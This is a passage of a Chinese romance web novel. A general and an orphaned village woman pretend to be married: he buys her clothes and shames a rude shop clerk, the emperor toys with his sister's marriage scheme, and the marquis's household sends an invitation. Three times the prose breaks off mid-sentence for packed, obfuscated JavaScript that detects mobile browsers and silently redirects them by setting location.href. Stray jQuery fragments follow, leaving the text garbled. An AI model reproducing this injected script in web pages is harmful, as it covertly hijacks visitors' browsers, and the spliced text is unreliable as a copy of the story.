这边说好,柳善因追着赵留行懵头懵脑地往外去,只是还没出一道门,赵留行就给调了回来。长夏在旁刚想和乳娘嘀咕些什么,就用余光瞥见主家返回,急忙收了那即将说出口的话。 她微笑着去问:“三郎君怎么回来了?” 赵留行没搭理长夏,而是朝着乳娘生硬道:“忘带他了。” 瞧着昨晚上柳善因的话,他是听进去了。 叫姑侄两个分开,小家伙大抵是能哭闹到他们回来,到时候还不哭出毛病?倒不如带着去。 “哦哦,好。小郎君乖,跟着爹娘上街去喽!”乳娘站起身,把孩子交给了赵留行。 赵留行还像第一日那样,端着孩子转身就走,独留下乳娘和长夏二人立在院中面面相觑…… “主家平日就是这么抱孩子的?” “他俩到底知不知道城东有多远呐——” - 城东有多远?远到坐马车还需两刻多钟才能抵。 可赵留行和柳善因是谁? 一个常年行军百里毫不费力的将军,一个从兰花村徒步入京意志坚定的孤女。这二人走起路来,别说是城东,就是从这儿走到长安也行。 但瞧一路爹端着娃,娘追着爹,一家三口吭哧吭哧半句废话没有径直往城东去。 只是到了那足足有三层楼高的成衣铺前,柳善因却死死扯住了赵留行的衣衫。 赵留行回过头,一双明亮的眼眸正将他相望。 他听身后人说:“赵赵将军…别为了我这么破费,我到估衣行寻上几身衣裳就行。” 赵留行哪管那些,他如何也不会叫柳善因穿那些有钱人家不要的旧衣裳。 若不然他今朝还出来作甚? 爹娘两个僵持在门外,一路上没吭半声的小家伙,忽在赵留行开口前哼唧起来。 柳善因再顾不上阻拦赵留行,抬手去接了他怀里的娃。 哪知,两人堪堪交换手,赵留行竟趁势头也不回的朝铺内走去。柳善因抱着小侄子瞠目往里望,心道这人怎么就进去了!? 赵留行却已是在众人的注视下,同她招手说:“小柳,愣着作甚。过来——”未曾给她留半分反悔的余地。 - 柳善因长这么大,还是头一遭进到这么富贵的店铺。 她压根不敢抬头张望,因为里头的人个个梳着时兴的头发,穿着好看的衣裳。 柳善因觉得同他们格格不入,距离也就越拉越开。 就好似兰花村与洛阳的距离一样…… 小家伙来到这新鲜地方,勾着脑袋看来看去,最后还是将眼睛盯到了赵留行身上。 赵留行没察觉,他只顾着看抱他的人了。 柳善因站在门内靠右一些的位置,被络绎不绝的客潮遮挡,叫那眉高眼低的男伙计瞧见,张口就是一句势利的:“诶诶诶,你个丫头别挡在那,没瞧见这么多贵客往来吗?没个眼色,谁家的这是!” 伙计说罢抬眼在屋里扫视个遍,那身着五品常服的官人瞬间吸引了他的注意。 伙计赶忙殷勤上了前。 柳善因这边被人言语,打算灰溜溜地走开,却被个笑容灿烂如花的小女郎拦下。 她亦是这铺子的伙计,但说出的话却极其温柔妥帖,“您是来看衣裳的吗?店里出了好些新样子,要不要我给您拿来瞧瞧?” 小女郎微微笑,既然开门做生意,便是不论亲疏贵贱,皆是来客。 柳善因抬起头,好似被春光晃了眼。 彼之,势利的伙计站在赵留行身旁依旧滔滔不绝,并未察觉有什么异样。 他逢迎:“我打远一瞧官人就是风姿卓越,与众不同。不知您今日来这儿是想给您自己挑选衣裳,还是要给夫人挑选?” 赵留行有眼有心,他把一切都看在眼里不慌不忙地应道:“给夫人。” 伙计听眼前的贵人这么说,私以为今日是撞了运,忙奉承起:“哎呀,官人真是数一数二的好郎君,不知尊夫人在哪?您且把尊夫人一块叫来,小的今日定让二位满意而归。” 说话间,伙计举目将那些个锦衣华钗的妇人瞧了个遍,也没分辨出是哪个来。可他想了千遍万遍都没想到,身边人居然在他话音落后举目看向了门的那边…… “你不是问那边那个没眼色是谁家的——我家的。” 赵留行的声音重重砸在地上,惊得伙计一身冷汗。他哪能想到,他俩会是一家人! 赵留行先是骂了声:“狗眼看人的东西。”转而在瞥了眼身边人后,又厉声道,“最后给你个机会,去给她鞠躬道歉,不若我就找你家掌柜好好聊聊。” 赵留行跟柳善因不一样,她凡事都能忍让三分,推己及人。 可他却是有仇必报,有恩必还。 伙计在铺子日日曲意逢迎,拜高踩低的惹人厌。今朝碰上赵留行翻了船,也不算无辜。 一个道歉而已,倒是轻饶了他。 伙计看了赵留行一眼,大抵是知晓没有丝毫转圜,便硬着头皮走了过去。 柳善因瞧见来人,有些茫然不知措。 她怕眼前人再次恶语相向,紧紧抱着小侄子提防不语。若是…若是他再敢欺负自己,她必是不会放过他……怎料,伙计直接冲她鞠了一躬,“是小的有眼不识泰山,若有哪里对不住的,还请夫人宽恕。” 伙计没按想象的来,弄得柳善因措手不及,小女郎更是在旁目瞪口呆。等他抬头对上二人怪异目光,瞬间羞愤起身往库房躲去。 此间事了。 赵留行偏装作若无其事地行来,等对面的柳善因起了疑,“赵赵将军,那个人……” 他还假意说:“哪个?没看见。” “好吧,没什么…”也就柳善因傻傻信了他,瞧她默默将手和疑惑一并收了下。 赵留行没再多言,随之看向那端的小女郎阔气道:“去把店里适合夫人的都拿来吧,叫夫人好好挑挑。” 小女郎回过神,丝毫不敢怠慢忙说:“诶,诶好嘞。二位稍等,我这就去。” - 后来,娘在更衣前与爹谨慎做了交接。 “赵赵将军,你一个人真的可以吗……”柳善因忧心忡忡。 赵留行自以为连仗都能打赢,还能摆不平个半岁大的娃娃?不就是带孩子,岂能难得倒他? 笑话! 他便自信应道:“安心换你的,莫要操心。” “那我麻利些,赵赵将军你坚持坚持,我很快就好。”柳善因心下惶恐,匆忙转身离去。 殊不知,是赵留行低估了娃娃,还是高估了自己。 小家伙睁眼一看小姑不在身边,顿时从哼唧,变为嚎啕。本还端着孩子悠悠转转的赵留行,此刻呆滞在原地,一动也不敢动弹。 周遭人的目光,也因此向他投递。 孩子哭是为着什么?是屙了?是饿了?还是难受了?赵留行思来想去,难解其意。这大抵是他此生遇到过最窘迫,最棘手的境地。 赵留行脑海中忽而闪过那些妇人安抚稚子的办法,急忙有样学样地摇晃起小家伙来。 可兴许是他的力气太大,又或是方法不对,非但没能止住小家伙的啼哭声,反倒让他哭的更猛烈了些。 将军常胜了那么多年,头一遭有了挫败的感觉。 他的自信,也随之瓦解。 赵留行下意识举目往柳善因换衣的隔间望,想要瞧瞧柳善因何时能好。以解救他这倒霉的“孩子爹”。 不料,却被旁边热心的妇人误会,开口便道了句让他下不来台的话,“啊呀呀,看把娃娃闹的。我们乖乖是不是看不见阿娘着急了?好喽不哭不哭。我说孩子爹,娃娃这么哭也不是办法,你不成就抱着娃娃进去找他娘去——都是夫妻,哪妨事的!”
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15105989|163873||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 哪妨事的?男女大防,男女大防! 赵留行在心下回怼,此起彼伏的议论声却叫他无处躲藏。 “瞧瞧,男人带孩子就是不中用。” “是也是也,我家那口子与他一般摸样,又不少胳膊缺腿的,怎能笨成那样。” 赵留行陷入两难。 他眼下只有两个选择,一是不知廉耻地走进隔间,二是厚着脸皮冲出店外,然后被更多人注视。赵留行觉得大概以小家伙现在这副哭相,让不知情的路人瞧见,必是将他当做暗地勾当的人牙子,给扭送到京兆府去…… 所以很显然,做柳善因一人的登徒子,要比做街上人人喊打的人牙子好太多。 他便举起小家伙,将目光藏在他肉乎乎的背后,抬腿躲了进去。 他边走边道柳徽莫怪, 事出有因,大不了清明多给烧些纸钱—— 他若有半点非分之想,天打五雷轰! 突如其来闯进的人叫柳善因和小女郎吓了一大跳,直到瞧见小侄子那张小脸,柳善因才搞清楚原是自家人。小家伙说来奇怪,他当真一见小姑就瞬间止了声。 “好小子,真不哭了?” 赵留行不可思议地抬起头,瞧着是气得牙痒痒,一时间竟给忘记了要非礼勿视! 此刻,柳善因香肩半露,还好被纱裙遮住了胸口,才不至于太过尴尬。她望向赵留行的眼神中,尽是委屈与迷惘。她侧在小女郎后面,怯生生地追问:“赵赵将军,你怎么进来了?” 可莫说柳善因不好意思,赵留行更是比她还要羞涩。 “我,我,我那个…孩子他,他,他那个……”赵留行登时大惊,连话也说不利索。他在柳善因面前左右踱步,最后寻了角落里的软凳坐着面壁思过。 可一背对着柳善因,他的尴尬化解了,小家伙又不愿意了。 赵留行没办法,只得抱着小家伙又转了回来。 瞧他转身后一直垂眸盯着地面,半分也不敢抬眼,他道:“孩子在外面直哭,我没办法只能进来。没跟你说一声,你别,别介意。” 赵留行说话时,脖子肉眼可见的红了。 柳善因应声后,小脸亦是红扑扑的,她答:“好吧,没事。” 两个人羞羞臊臊。 小女郎哪知其中原由,她在旁看着这对小夫妻双双红脸,还暗戳戳地想:自己日日阅人无数,这生了孩子,还能瞧着对方脸红心动的真是头一次见。实在让人艳羡啊。 既然都是一家人,小女郎也就没把赵留行往外赶。 她转头继续为柳善因换起新衣,柳善因虽是有些难为情,但看着赵留行没有半分逾矩,也就忐忑着将衣裳换了。且瞧下一刻轻盈的绸缎坠了地,一位宛若春柳窈窕的女郎,便盈盈落了人间。 小女郎望着柳善因圆溜溜的眼睛也不免惊叹,她想难怪那郎君能对眼前人如此动心,若是她必是也得对这样的娘子心生怜爱,“夫人,您真好看。简直就是玉兔下凡!” 柳善因第一次得到这样的称赞,却垂头揣着袖子,有些不好意思。 小女郎会心一笑,赶忙推着柳善因往赵留行面前送去,她说:“郎君快瞧,咱们的娘子好不好看?” 柳善因从前布衣荆钗,就好似明珠蒙尘,是庸碌的生活掩盖了她的绚烂。可她并非是他们口中的平平无奇,相反她应是个语笑嫣然,玲珑温软的女郎。 欧碧色的交领衫裙,拉长了她的腰身。汴绣的燕子图样,点亮了她的脸庞。 赵留行缓过神举目相望,居然足足愣了半晌,才磕磕巴巴道出一句实诚的:“好,好看。” - 与此同时的另一边,在宫里的柳明斋。 年轻的帝王正饶有兴致地靠窗向院中投喂鸟食,窗边垂落的娇媚花枝,也遮挡不住他那细长的眉眼。他那狐君的称号由来已久,可似乎并不止是因为贺鹮归的样貌而已。 那夺食的鸟儿叽喳个不停,贺鹮归却直视其中冷眼相对。 等前来通禀的内常侍打帘进门,与他说了句:“禀主上临芳长公主来了,您可要见见?” 贺鹮归才冷笑着将目光从鸟群中移开。他拍了拍掌心,瞥向一旁的内常侍,“带着目的来的,朕说不见她就能善罢甘休?叫二姐去前头候着,朕喝盏茶再去。” 12. 第 12 章 一盏茶的时间能有多久?贺鹮归喝了整整三刻钟。 贺盈安坐在先帝为先皇后大兴土木修建的斋阁里,垂眸不语。 天家的姐弟倒是一个比一个沉得住气。 先皇后喜好清雅,贺盈安每每来这儿面圣,都得花些心思从她那为数不多素色的衣裳里挑选一件换上。只是她指尖那鲜艳无比的蔻丹,又草草将她出卖。 贺盈安不在乎。 君君臣臣,一切不过是给皇帝演得戏,她亦知晓那九五之尊的皇帝从头至尾就没看得起自己。 可人和人之间不就是这样? 就算她讳莫如深,他心知肚明,最终还是要体面的站在一起。 贺盈安就这样孤坐了很久都没有抬头,此间的好春光都与她无关,她似乎对这座斋阁充满敌意。 “抱歉抱歉,叫二姐好等。” 等那个听上去温厚的,实则藏着些许戾意的声音落进耳畔。贺盈安终于肯抬了头,她顺势起身朝来人言语,“主上政事繁忙,我等会儿也是应当。” 贺鹮归轻笑着路过贺盈安身旁。 今日斋中点了鹅梨香,青烟透过荷花绣屏袅袅远去,偌大的柳明斋里,清清静静。 贺鹮归抚袍坐去当中,开口便说:“又是为那事来的?” 不是第一次了, 三月前他这心思重的二姐就来过一趟了。 贺鹮归撑着脑袋将贺盈安打量,细长的指尖一遍遍打在鬓边上。他瞧见了贺盈安的指甲,随之冷笑。 贺盈安说:“是。” 贺鹮归却带着戏谑的口吻回问:“二姐就这么想让松月嫁进赵家?嫁给赵卿?朕真是不知赵家到底有什么东西,值得你这般执着努力?还是说……” 他故意欲言又止,眼神中的玩味从始至终都没收敛过,“二姐对过去的事依旧耿耿于怀,想赢了侯府那位去?” 此话一出,贺盈安抬眼盯上了皇帝,瞧着贺鹮归还真是戳中了她的痛处。 但贺盈安并不会因此表现出失态,她应声时表情没有丝毫变换。 “主上说笑,前尘旧怨早已如烟散去,何故再提?” “不过是两家情谊深厚不忍断绝,想要延续以承佳话。而今又适逢松月与三郎,一个当嫁,一个当娶,便也该由着父母之命,媒妁之言,把这终身定下。只是此番若是再能求得圣恩,此段姻缘必是恩爱百年。” 贺盈安平日不言不语,关键时候场面话还是讲得头头是道。 可狐君并非是几句漂亮话就能糊弄的。 贺盈安有她的私心,贺鹮归也有他拒绝的理由。座上身穿锦袍的帝王哦了一声,叫贺盈安不由垂了眸。贺鹮归紧接着道是:“朕算是听明白了。二姐大抵是没办法了,才把主意又打到朕这儿了。” 贺盈安无言相立。 她还是跟以前一样讨厌中宫,讨厌中宫生的儿子! 贺鹮归在贺盈安的无言里收起支撑脑袋的手掌,转眸望向晴好的院落。彼之,他眼中天地苍翠,他就那样不屑地说:“可赵家那姑侄俩,不是早被你们赶出赵家了吗?” 贺鹮归专挑扎人心窝的话说,贺盈安显然有些恼了。 她猜不透眼前人百般推阻,究竟为何?按理说就是个赐婚的旨意,既然长公主亲自来求,皇帝就是再看不上她,也该给贺氏和呈王府一个面子,而不是像现在这样说风凉话。 可贺鹮归并未收敛,他张口周旋:“即已被逐出家门,那二姐觉得再论什么父母命,媒妁言……是不是有些荒唐?当年那事闹得沸沸扬扬,就算朕与二姐是一条心,也得好好斟酌斟酌。” “毕竟人家姑侄俩戍边多年,于朕于朝廷皆有功可言。朕不可独断行事,伤了臣心。” “这话二姐上回来,朕便已说过。” “可倘若二姐实在满意这门婚事,诚心请旨,朕就给你指条明路,你不若就叫北庭那边与朕修书。只要北庭那边应了,朕保证即刻就为他们拟旨赐婚,叫他们恩爱百年。” 话音落去,赵留行的婚事就像是颗来去的马球般,从洛阳又打向了北庭。 贺鹮归是故意这么说的。 贺盈安却对他的态度颇为不满,她竟忘了德行,沉沉唤了声:“皇帝!” “二姐——” 贺鹮归回望贺盈安眯眼轻笑,“我可听说赵卿那边已是有人抱着孩子找上门了。二姐有功夫在朕这儿浪费时间,倒不如想想怎么让北庭,亦或是赵卿本人应了这门亲事。” “二姐觉得朕说的可对?” 贺盈安不甘地站在原地,最后一次追问:“皇帝的意思,这旨皇帝就是不想下了?” “朕何时这般说了?你可莫要妄加揣度圣意。” 贺鹮归漫不经心。 姐弟两个四目相对,较起了劲。贺鹮归自觉该说的都说了,随即拂袖一挥,示意内常侍送客。 “无事退了吧。” 眼前人既已开口送客,贺盈安还赖着作甚? 瞧她敷衍躬身,转头掠过内常侍径直走出了柳明斋。贺鹮归则望着廊外那愤然离去的背影,霎时变了模样,眼神冷得如同冬日寒冰,看不出一丝温情。 内常侍是先皇后身边的老人,也是看着贺鹮归长大的阿翁。 他回眸走来贺鹮归身边,开口说着旁人不敢说的话,“既然主上不愿赐婚,当初又何必要同意赵家上书,大费周章地将宁远将军从北庭调回来?您不是不知晓赵家的用意?难道说……” “您还在等那位回头?” 贺鹮归阴晴难定,他虽对母亲留下的老人一向宽容,但一听内常侍提及某人却瞬间变得不悦,“段翁,你逾矩了。再有一次,你就留在柳明斋,不必再去御前呆着了。” “是老臣失言了。” 内常侍处变不惊,闻言不过叹了口气。他道这么多年,那人竟依旧是皇帝心里连提也不能提的禁忌。可若不是等着念着,你说…他又何必这样…… - 柳明斋外,贺盈安吃瘪之后怒火中烧。 她端着身子站在宫道上,行路的宫人纷纷冲她行礼。侍奉贺盈安多年的老嬷匆匆忙去到她身旁,她从她细微的表情上读出今日与皇帝争论的结果,继而开口说:“殿下,咱就这么回家去?” 老嬷最会揣度贺盈安的心思,贺盈安果然没有要就此罢休的意思。只见她盯着层层叠叠的王庭,想起了一个人,“不回,改道去恩庆殿找赵淑妃。” - 柳善因与赵留行满载而归地从成衣铺离开时,日哺将近。 这回换她抱着娃娃行在前头,赵留行则拎着一大堆东西跟在后头。远远望去,这才刚认识不久的一家三口,就这么悠悠闲闲迎着午后的光慢慢走。 柳善因回想起成衣铺里,赵留行买这买那好似不要钱的模样,忍不住回头望。 她说赵赵将军:“其实只要买上两身衣裳,就够我穿上好几年的。你今日给我买了这么多,实在太破费了,我都不知该怎么还你。” “还?为什么要还?” 赵留行惑然望向柳善因,他今日花钱的时候,压根就没想过什么还不还。 不过说赵留行视银子如粪土,一点不夸张。 适才在铺子里,别人往柳善因身上比划什么,他就给买什么。若不是最后柳善因强硬拦着,赵留行是恨不得将铺子给买下来。 可柳善因虽然穷,却有自己的骨气。 她自知与赵留行非亲非故,就算是夫妻也是假扮的,怎能白白占人家便宜,没有道理呀!柳善因便说:“虽然我真的很感谢你,但赵赵将军该还的,还是要还的。” “真不用你还,几件衣服而已啊。”赵留行也是执拗,她不明白女郎的心绪便罢,还呆板地应答。惹得柳善因第一次在赵留行面前倔强道,“哎呀,就是要还的!” 柳善因说罢抱着小侄子急呼呼地往前, 而那从没跟女郎相处过,也不知该如何跟女郎相处的赵留行却茫然愣在原地。 他不解……这是怎么了? 柳善因方行出几步就后了悔,她想赵赵将军对自己这么好,自己怎么这样跟他说话呢? 真是笨死了。 但小女郎脸皮薄,柳善因是踟蹰了半晌也没敢回头望。 忽而,一股勾人的香味飘进鼻腔,勾得柳善因不由自主地抬头望,就这么望着望着,她竟一步一步挪去了街边的卤肉摊旁,全然把赵留行抛在了脑后。 柳善因垂头望着灶台上新鲜出锅的卤肉,被升腾的雾气遮住了眼里的欲望。 她吸溜一声,差点没把口 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15110220|163873||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 水滴在小侄子头上。 这时间,赵留行缓缓走来并肩站在柳善因身旁,他这会儿倒是瞧出了女郎发馋的模样,赶忙没话找话道:“想吃吗?带些回家,再让厨房做些汤饼。” 赵留行说话时,偷摸着往柳善因那边瞟。他这辈子还从未像现在这样小心过。 怎料,柳善因却猛地抓上了他的手臂,吓了他一跳。 赵留行无言站着。 没想到小家伙竟也有样学样,伸出肉乎乎的小手轻轻扒住了赵留行的臂膀。突然被两双眼睛这么盯着,换谁都会紧张,赵留行在柳善因的注视里不敢乱动。 柳善因却怀着万般诚恳的心,点头小声道:“想吃。” 想吃就吃,何故这么大阵仗!? 赵留行松了口,僵硬的身体也渐渐舒缓。他才刚想跟老板言语,就又被柳善因拦下,他听眼前人说:“赵赵将军少称二两,我以后一并还你——” 赵留行闻言冷笑着甩开了柳善因的手掌,少称二两是吧? 瞧好吧。 赵留行挑眉朝卤肉上狠狠一指,老板便心领神会地一刀拿下,紧跟着分切打包,称重交钱一气呵成,愣是让柳善因来不及反驳说不要这么多。 而后,老板眯眼送客,赵留行礼貌回笑。 唯独柳善因拎着一大袋子看起来能吃三天的卤肉,茫茫然于懊悔和嘴馋里来回颠倒。 不是让少切二两吗! 这越欠越多,真是……真是还不清了—— - 一家三口兜兜转转回到家,却见长夏蹲在门口打瞌睡。 柳善因抱着孩子上前观摩几番,不敢打扰。 可等赵留行过来,竟然二话不说就戳了长夏一下,“诶,在这儿呆着作甚?叫别人看去还以为我苛待你,像什么话。困就回屋睡,我几时也没说累了不能歇。” 赵留行这一下戳的很有力道,瞧他分明是在报那天被长夏打自己的私仇。 柳善因惊愕望向赵留行,赵留行躲闪起她的目光。 彼时,长夏从混沌中惊醒,瞧见住家急忙起身揉了揉自己的肩膀。她张口时有些焦急,就像是有什么不好的事发生,“急死我了,二位可算回来了。买个衣裳的事,怎么去了这么久?我就说给二位赁车,瞧这路上一来一回是不是不少耽搁——要我说下回出门,我还是给二位赁辆马车。” 可听了半晌没一句有用的。 赵留行瘪瘪嘴,懒得听长夏啰嗦,抬腿就要往家去。柳善因却在后头温温柔柔地问长夏,“怎么了?你急着在这儿等我们,是出什么事了吗?” 长夏一拍脑袋,这才想起正事来,“是,是出事了。那边来人了。” “那边?”柳善因不明所以。 赵留行惑然回头,“他们还敢来?” “夫妻”两个四目相对,长夏这大喘气着实把人吓得不轻,她摇头,“不是那边,是那边。” 又惹得二人异口同声,“到底是哪边!” 长夏被这夫妻二人的默契吓到,赶忙解释说:“是奉宁侯府那边来的。人在二位走后没多久就来了,说什么也不肯走,都在前院等一日了……怪吓人的。” 赵留行听闻是侯府来人,表现得无动于衷。 柳善因却蹙着眉不知所云,“奉宁侯府?” 可赵留行不知为何,并没解答她的疑惑,反倒是转身不声不响地离去。 长夏看着主家进门的背影,悄悄朝柳善因靠近,在她耳边轻语:“将军的亲生母亲现在是奉宁侯夫人,奉宁侯府是将军母亲在同赵护军和离后再嫁的地方,夫人难道不知道吗?将军没跟您说过吗?” 柳善因头一遭得知这些,她先是摇了摇头,又点了点头。 好在长夏并未在意,她只顾着在柳善因周遭嗅来嗅去,直到盯上柳善因手里的卤肉,她才道了句:“夫人,你拎得什么,好香啊~” “啊,是我们在路上买的卤肉,赵赵将军买了好多,待会儿就分给大家。”柳善因被她岔开了话题,高兴地与之分享。长夏望着柳善因满眼欢喜,“夫人,你人真好。” 可下一秒,温馨的气氛被里头沉闷的呼唤打破,赵留行藏在门内说:“小柳,回家了。” 柳善因抬起头,赶忙应声:“哦好,我这就来——” 13. 第 13 章 前院的老妇许是在厅下坐得太久,这会子已是辗转站去了院中。她抬眸打量起东南边的斗球,心道还是不如侯府那棵长得繁茂,若是栽成罗汉松更好。 老妇思绪越飘越远。 直至望见赵留行与柳善因前后跨门,她才终是回过神来。 与护军府来势汹汹的众人不同,老妇孤身一人瞧见赵留行竟直接唤了声:“三郎——” 赵留行抬起头,面无表情地望向老妇。 老妇是他娘的陪嫁名唤凤南,往前赵留行还在京时,侯夫人想送什么东西,亦或是想传什么话,都是这老妇一趟趟往护军府去,自己却从未亲自来过。 如此,她倒也算看着赵留行长大的。 只是赵留行离京太久,早已对洛阳的人和事变得陌生,所以才在开口时显得淡漠许多,甚至也没再唤出儿时的那声凤姨,他直言:“是侯夫人又有什么事,要你来传话吗?” 赵留行说着走到前厅,将手里的东西一一放下。 凤南此刻将眼神落在柳善因和孩子身上,没能及时回应。赵留行见状同院中的柳善因说:“累了一日,孩子该喂奶了,小柳你去把孩子抱给乳娘吧。” 柳善因举目嗯了一声,临走前还跟凤南颔首告了别。 姑侄俩走了。 凤南重新拉回思绪,追进了前厅。她依旧顾念着往昔情份,开口去问:“这孩子多大了?” “六月有余。”赵留行立在厅前随口作答。 相较起赵家,他对侯府的人并没有敌意,若说更多的,只是些漠然罢了。 凤南点点头,尚有几分欣慰,她说:“竟有半岁了,瞧着媳妇也是个良善的。三郎长大了,既成了家,又立了业,日子会越过越好的。”但这不过都是出于她的私人情感,至于侯府那边什么意思,她不敢妄加揣测。 赵留行听着老妇言语,有些恍惚。看来,凤姨没变,变得是他。 “你过来不会是与我说这些的吧?”赵留行再次发问,凤南摇头说,“自然不是。是夫人叫我来邀三郎今年带着他们娘俩个,和侯府一起到柳堤去过上巳。三郎意下如何?” 凤南和声细语,征求着赵留行的意见。 虽然侯府那边是要她务必请回赵留行,但赵留行若实在不愿,她必是不会强求,余后的问责她便一个人想办法。凤南明了,十几年都未曾好好联系感情,如何叫眼前人一下子就融入那么大一个家。 真是笑话。 若不是当年两边家不像家,又怎会把孩子逼到北庭那荒芜的地方去…… 凤南心疼赵留行,她已然做好了被拒绝的准备。可世事难料,往前一定会严词拒绝的赵留行,居然在今朝应道:“好,我知道了。” “三郎的意思是……要去?”凤南不可思议地确认。 赵留行嗯了一声,没再多言。 “好好,那我这就回去禀告夫人,让侯府过几日派车来接你们。”凤南喜出望外,他似是觉得孩子长大了,有家了,跟从前的事都和解了。 殊不知,赵留行心里想的却是如今与赵家僵持,既然侯府能主动过来相邀,就正巧借着上巳赴会,叫旁的瞧瞧他们两个夫妻恩爱,三口人一家和睦。 以打消那些个别有心思之人的歪主意。 凤南不知眼前人与那女郎是假夫妻,自然看不透其中深意。 该传的话传到了,她也不能再赖着不走。 今日凤南真是在这儿呆够了,便同赵留行说:“时候不早,三郎注意身体,我便不多叨扰。哦对,我从侯府来时给你们带了些春笋,已经叫人放去后厨了,你们记得趁鲜用。别放坏了。” 凤南说罢转头出了前厅。 赵留行却忽而开口唤了声:“凤姨。” 凤南转过头,用长辈慈爱的目光望向厅下的人,“三郎还有何吩咐?” 赵留行这才缓缓吐出一句:“麻烦你了。” 凤南摆摆手,春花恰时轻盈地飘落在了肩头,她朗声道:“唉,没事。” - 送走凤南,赵留行一人环臂站在前厅若有所思。 西去的日头,耀了院中花,赵留行有些犯难,赴会的事是应下了,可夫妻恩爱该如何办呢?很明显他完全不懂该如何与柳善因相处,更别提恩爱了…… 赵留行就这么拎着新买的衣裳,心事重重地往后院去。待到来到几人围坐的凉亭,柳善因他们正将卤肉分得火热,他却心不在焉地随手把衣裳抛给长夏,“记得把这些新衣裳给夫人洗了——” “诶,好嘞。”好在长夏眼疾手快,没叫新衣裳掉在地上。 柳善因偷吃了两口卤肉,没顾上回头瞧。 等她端着自己和赵留行的那份站起身,赵留行就又变回了那副魂不守舍的模样,柳善因不明所以地迎了上去,她问:“赵赵将军,在想什么呢?你要不要尝尝,这家卤肉好好吃啊。” 赵留行不作声,压根没听眼前人在说什么。 柳善因噘起嘴巴,无言对望。 她见眼前人半晌不应,刚打算放弃不再搭理,就又被赵留行用一声浅浅的:“小柳。”给唤了回来。 “赵赵将军是要吃吗?” 柳善因转过头,满脸欢喜地重新捧起油纸包送去。 “不急。” 赵留行却将她的手轻轻推开,二人的视线就这么露了出来。柳善因惘然相顾,谁成想眼前人居然冷不丁冒出一句,“你先叫声夫君听听。” 赵留行说这话的时候面无表情,一心沉浸在自己的思考里。全然没管柳善因,乃至院中人听见这话会有多错愕。 柳善因捧着油纸包哆哆嗦嗦。 她真是不知白吃人家一份卤肉的代价,能这么大,她往后再也不会嘴馋了… 柳善因垂下头有些不知所措,她极难为情地说:“啊?现在吗?不,不太好吧。” 长夏个看热闹不嫌事大的家伙,此刻也不怕赵留行记仇,一个劲地在旁咂舌。 啧啧啧,叫那家伙平日里横行霸道,到了夫人面前还不是得服服帖帖的请求怜爱。 装货! 赵留行听见柳善因这般应答,没想太多,也没去勉强,他只有口无心道是:“哦,不方便吗?那待会儿回屋再叫吧。” 待会儿…… 到屋再叫!? 此话一出,柳善因惶恐难安,乳娘想入非非。 唯长夏一人大失所望。 - 而后,柳善因提心吊胆跟赵留行回了屋,刚才被赵留行那么一闹,弄得她吃肉的好心情也没了。她眼下抱着小侄子呆呆站在门边,不知如何是好。 他适才缘何那样说话? 难不成是侯府那边说了什么? 柳善因想不明白,显得有些无所适从。 赵留行却依旧没觉得有哪里不对,瞧他抚袍坐去桌案倒了杯茶润喉,跟着转头瞧见身后人还傻站着,张口便问:“不把孩子放下吗?” “我这就去放!”柳善因兢兢战战,赵留行却又让她,“顺便把门带上。 “关,关门干嘛?” 现在的柳善因就宛若惊弓之鸟,一惊一乍,惹得赵留行惑然将水盏搁下,反问道:“回屋不应该关门吗?” 柳善因细细一想眼前人说得也没什么不对,便乖乖回身关上了门。转身来到榻边放下小侄子,她便顺势坐了下。 柳善因故意离得赵留行远远的,就是怕他再说些奇怪的话。赵留行却在案前用指腹在杯口转了个圈,思量着开口:“今日凤姨过来,是请我们与侯府一起到柳堤过上巳,我给应了。” 柳善因一边伸手哄着小侄子,一边抬头听赵留行继而说:“所以要麻烦小柳你,到时候带着孩子与 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15117268|163873||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 我一同过去在他们面前演出戏。” 赵留行说罢昂首向外望,夕阳的余温温暖着他的脸庞。柳善因这才搞清楚情况,忍不住小声嘀咕道:“原来赵赵将军是因为这个原因才那样的啊……” “你说什么?”赵留行没听清。 柳善因连忙否认:“没什么。” 赵留行点头没多在意,他眼下还是更在意赴会的事,“那上巳节的事?” 误会解除,柳善因也不再有所戒备,她竟胸有成竹的与赵留行承诺,“哦那个呀,不麻烦不麻烦。我现在的任务,不就是要帮赵赵将军演戏吗?赵赵将军放心。包在我身上。” “多谢。”赵留行言谢。 柳善因挠头说:“没事。” 可还没等她缓上口气,赵留行就正身面对起她来,“既然如此,那就先试试叫声夫君。” 赵留行一本正经。 柳善因还是没能躲过得这一劫,她磕磕巴巴张开嘴,仍是叫不出个囫囵的夫君。 “夫……” 彼时,赵留行环臂相望,眼神锋利的好似一个严厉的考官,而柳善因就是他那不争气的笨学生。 